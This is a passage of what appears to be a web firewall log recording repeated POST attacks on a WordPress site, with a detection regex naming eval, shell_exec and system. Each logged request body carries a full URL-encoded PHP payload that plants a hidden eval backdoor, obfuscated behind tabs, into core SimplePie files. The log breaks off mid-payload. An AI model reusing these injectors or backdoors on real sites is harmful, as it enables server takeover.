IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\ncontent-length:2068\nsec-ch-ua-platform:\"Android\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:58:04","54.36.177.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:4786\n\nCq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:58:10","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnxbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:4786\n\njJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:58:15","172.86.89.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Cache\/CallableNameFilter.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx72ef%255Cx65%255Cx72%255Cx65nce%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2522.%2522%252C%2520%2524entry%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt1%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2520%2524salt1%2529%253B%2520%2524__len%2520%253D%2520count%2528%2520%2524entry%2529%253B%2520for%2528%2520%2524y%2520%253D%25200%253B%2520%2524y%2520%253C%2520%2524__len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524entry%255B%2524y%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2520%2524salt1%255B%2524y%2525%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2520%2528%2520int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2520%2524y%252510%2529%2529%2520%255E%252045%253B%2520%2524element%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%257D%2520%2524ptr%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524ptr%2520as%2520%2524key%2520%253D%253E%2520%2524dat%2529%2520%257B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524dat%2529%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dat%252C%2520%2522.flg%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524desc%252C%2520%2524element%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524desc%253B%2520%2540unlink%2528%2524desc%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%